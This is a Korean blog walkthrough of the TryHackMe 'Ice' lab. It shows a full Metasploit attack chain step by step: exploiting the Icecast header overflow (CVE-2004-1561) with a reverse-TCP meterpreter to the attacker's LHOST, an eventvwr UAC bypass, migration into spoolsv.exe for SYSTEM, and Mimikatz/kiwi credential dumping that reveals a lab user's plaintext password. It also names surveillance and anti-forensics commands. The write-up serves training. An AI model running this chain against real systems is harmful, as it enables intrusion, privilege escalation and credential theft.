| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | |||||
| 3 | 4 | 5 | 6 | 7 | 8 | 9 |
| 10 | 11 | 12 | 13 | 14 | 15 | 16 |
| 17 | 18 | 19 | 20 | 21 | 22 | 23 |
| 24 | 25 | 26 | 27 | 28 | 29 | 30 |
| 31 |
- 드림핵
- AWS 사고 사례 분석
- Amazon S3
- 리버싱
- 프로그래머스
- reversing.kr
- dreamhack
- 네트워크
- IAM Federation
- network
- AWS 보안 사고 사례 모음
- C
- AWS 아키텍처 분석
- operating system
- AWS Active Directory
- terraform
- programmers
- AWS 침해 사고 사례 분석
- AWS 인프라 아키텍처
- AWS 침해사고 사례 분석
- AWS
- 운영체제
- AWS 보안 아키텍처 분석
- AWS IAM Role
- python
- 침입 차단 시스템(IPS)
- AWS 3 Tier Architecture
- TryHackMe
- AWS 인프라 분석
- reversing
- Today
- Total
lhywk 님의 블로그
[TryHackMe] ICE 본문


공격 대상 시스템(10.201.46.139)의 정보를 수집하기 위해 nmap을 이용한 포트 스캔을 수행한다.
nmap -sC -sV -O $IP -oN scan_result 명령어를 사용하여 대상에 대한 상세 스캔을 진행한다.
- sC: 기본 스크립트를 실행하여 추가 정보를 수집
- sV: 포트에서 실행 중인 서비스의 버전을 파악
- O: 원격 운영체제를 탐지
- oN scan_result: 스캔 결과를 scan_result라는 파일로 저장
135번, 139번과 445번 포트가 열려있다.
3389번 포트에서 원격 데스크톱(RDP) 서비스가 활성화된 것을 확인한다. 두 개의 HTTP 웹 서비스도 탐지되었다. 5357번 포트에서는 일반적인 Microsoft HTTPAPI 2.0이, 그리고 8000번 포트에서는 Icecast streaming media server가 운영되고 있다.

대상 시스템의 OS가 Windows 7 Professional 7601 Service Pack 1이며 컴퓨터 이름이 Dark-PC라는 것을 확인할 수 있다.

문제 풀이를 한다.
- Microsoft Remote Desktop (MSRDP) 포트 번호는 3389였다.
- 8000번 포트에서 실행 중인 서비스는 Icecast였다.
- nmap이 식별한 머신의 호스트 이름은 DARK-PC였다.


TryHackMe 룸의 가이드에 따라 8000번 포트의 Icecast 서버가 가진 결함을 조사한다.
cvedetails.com의 취약점 데이터베이스를 검색한 결과 Icecast의 초기 버전과 관련된 취약점인 CVE-2004-1561을 발견한다.
이 취약점은 HTTP 헤더 파싱 과정에서 발생하는 버퍼 오버플로우(Buffer Overflow) 취약점으로 공격자가 조작된 HTTP 요청을 보내 원격 코드 실행(Remote Code Execution, RCE)을 유발할 수 있다.
이 취약점의 Impact Score와 CVSS v2.0 점수를 확인할 수 있다.
- Base Score: 7.5 (High)
- Exploitability Score: 10.0
- Impact Score: 6.4

문제를 풀이한다.
- Impact Score: 6.4
- CVE Number: CVE-2004-1561

터미널에 msfconsole 명령어를 입력하여 metasploit 콘솔을 실행시킨다.

metasploit 콘솔(msfconsole)에 진입한 후 search icecast 명령을 사용하여 CVE-2004-1561에 해당하는 모듈을 검색한다.
검색 결과 exploit/windows/http/icecast_header라는 모듈을 찾을 수 있다.
use 0 명령을 입력하여 이 익스플로잇 모듈을 선택한다. metasploit은 자동으로 windows/meterpreter/reverse_tcp 페이로드를 기본값으로 설정한다.

show options 명령어를 사용하여 이 모듈에 필요한 설정 값들을 확인한다.
RHOSTS 변수에 공격 대상의 IP 주소를 설정해야 한다.

set RHOSTS 10.201.46.139 명령을 사용하여 공격 대상 IP 주소를 지정한다.
다음으로 set LHOST tun0 명령을 실행하여 공격자의 IP 주소를 설정한다.

run 명령을 입력하여 공격을 시작한다.
콘솔의 프롬프트가 meterpreter로 변경되었다.

문제를 풀이한다.
- Metasploit 모듈 검색 후 확인된 전체 경로는 exploit/windows/http/icecast_header였다.
- show options 명령을 실행했을 때 비어있던 필수 설정값은 rhosts였다.

getuid 명령어를 실행하여 현재 쉘을 실행하고 있는 사용자 계정을 확인한다. Dark라는 이름의 일반 사용자 권한을 획득했음을 알 수 있다. 이는 관리자 권한이 아니므로 권한 상승이 필요하다.
sysinfo 명령어를 실행하여 시스템의 세부 정보를 확인한다.
- Computer: DARK-PC
- OS: Windows 7 (6.1 Build 7601, Service Pack 1).
- Architecture: x64
- Meterpreter: x86/windows

문제를 풀이한다.
- 우리가 획득한 쉘의 이름은 meterpreter이다.
- Icecast 프로세스를 실행하던 사용자는 Dark였다.
- 시스템의 Windows 빌드 번호는 7601이다.
- 시스템의 아키텍처는 x64였다.

권한 상승을 위한 별도의 익스플로잇 모듈을 metasploit 콘솔에서 검색하고 실행해야 한다.
이를 위해 background 명령을 실행하여 현재 활성화된 meterpreter 세션을 백그라운드로 전환한다.
sessions 명령어를 입력하여 백그라운드로 전환된 세션이 활성 상태인지 확인한다. Id 1번으로 meterpreter 세션이 활성화되어 있음을 확인한다.

search suggester 명령을 실행하여 현재 세션을 기반으로 권한 상승 익스플로잇을 추천해 주는 모듈을 검색한다.
검색 결과 post/multi/recon/local_exploit_suggester라는 모듈을 찾는다.
use 0 명령으로 해당 모듈을 선택한 뒤 show options를 실행하여 필요한 설정값을 확인한다. 필수 옵션은 SESSION임을 확인한다.

SESSION 옵션에 세션 ID 1을 설정한 후 run 명령을 실행하여 local_exploit_suggester 모듈을 작동시킨다.

exploit/windows/local/bypassuac_eventvwr라는 모듈을 발견한다.

use exploit/windows/local/bypassuac_eventvwr 명령으로 해당 모듈을 선택한다. metasploit은 자동으로 windows/meterpreter/reverse_tcp 페이로드를 설정한다.
show options 명령을 실행하여 이 모듈에 필요한 옵션들을 확인한다.
SESSION과 LHOST을 설정해야함을 확인한다.

set SESSION 1 명령을 실행하여 이 모듈이 meterpreter 세션(ID 1)을 통해 작동하도록 지정한다.
set LHOST tun0 명령을 사용하여 페이로드의 LHOST를 공격자의 IP로 설정한다.

run 명령을 입력하여 bypassuac_eventvwr 익스플로잇을 실행한다.

새로운 meterpreter 쉘에서 getprivs 명령어를 실행하여 현재 프로세스가 보유한 권한 목록을 확인한다.
SeTakeOwnershipPrivilege와 같이 소유권을 가져오는 강력한 권한이 다수 활성화되어 있는 것을 확인한다.

문제를 풀이한다.
- local_exploit_suggester가 반환한 익스플로잇 경로는 exploit/windows/local/bypassuac_eventvwr였다.

문제를 풀이한다.
- SESSION 번호를 설정한 후 리스너 IP가 올바르게 설정되었는지 확인하기 위해 LHOST 옵션을 설정해야 했다.
- getprivs 명령을 실행하여 권한을 확인했을 때 파일의 소유권을 가져갈 수 있게 하는 권한은 SeTakeOwnershipPrivilege였다.


ps 명령을 실행하여 대상 시스템에서 실행 중인 전체 프로세스 목록을 확인한다.
spoolsv.exe (PID 1372)가 마이그레이션 대상임을 확인한다. 이 프로세스는 Windows 인쇄 스풀러 서비스로 NT AUTHORITY\SYSTEM 권한으로 실행된다.

문제를 풀이한다. 아키텍처(x64)이면서 NT AUTHORITY\SYSTEM 권한을 가진 프로세스인 프린터 스풀 서비스(printer spool service)는 spoolsv.exe였다.

migrate 1372 명령을 실행하여 spoolsv.exe의 프로세스(PID 1372)로 쉘을 이동시킨다.
마이그레이션이 완료된 후 getuid 명령을 실행한다.
Server username: NT AUTHORITY\SYSTEM임을 확인한다.

문제를 풀이한다.
- 마이그레이션 후 getuid 명령을 실행했을 때 획득한 사용자 권한은 NT AUTHORITY\SYSTEM이었다.

수집 단계를 위해 암호 덤프 도구인 Mimikatz를 사용하라고 한다. load kiwi 명령어를 통해 로드할 수 있다.

TryHackMe 룸의 가이드에 따라 NT AUTHORITY\SYSTEM 권한을 가진 meterpreter 세션에서 load kiwi 명령을 실행한다.

help 명령을 사용하여 meterpreter에 새로 추가된 기능들을 확인한다.
creds_all 명령어는 모든 인증 정보를 한 번에 수집하여 파싱된 형태로 보여준다.

creds_all 명령을 실행하여 현재 시스템의 모든 자격 증명을 스캔한다.
Dark 사용자의 평문 비밀번호가 그대로 노출되었다.

문제를 풀이한다.
- 모든 자격 증명을 검색하는 데 사용된 명령어는 creds_all이었다.
- Dark 사용자의 평문 비밀번호는 Password01!였다.

문제를 풀이한다.
- hashdump: hashdump 명령어는 시스템의 모든 로컬 사용자의 NTLM 패스워드 해시를 추출한다.
- screenshare: 대상 시스템의 데스크톱을 실시간으로 스트리밍 하여 현재 사용자가 무엇을 하고 있는지 원격으로 감시할 수 있게 해준다.
- record_mic: 시스템에 연결된 마이크를 활성화하여 주변 소리를 녹음할 수 있는 감시 기능이다.

문제를 풀이한다.
- timestomp: 공격자는 시스템에 파일을 업로드하거나 수정할 때 타임스탬프를 변경하여 자신의 흔적을 숨기려 할 수 있다.
- golden_ticket_create: Mimikatz의 기능 중 하나로 이는 골든 티켓 공격을 수행하는 명령어이다.

'TryHackMe' 카테고리의 다른 글
| [TryHackMe] OWASP Juice Shop (0) | 2026.02.08 |
|---|---|
| [TryHackMe] The Cod Caper (0) | 2026.02.08 |
| [TryHackMe] Blue (0) | 2026.02.06 |
| [TryHackMe] RootMe (0) | 2026.02.05 |
| [TryHackMe] LazyAdmin (0) | 2026.02.05 |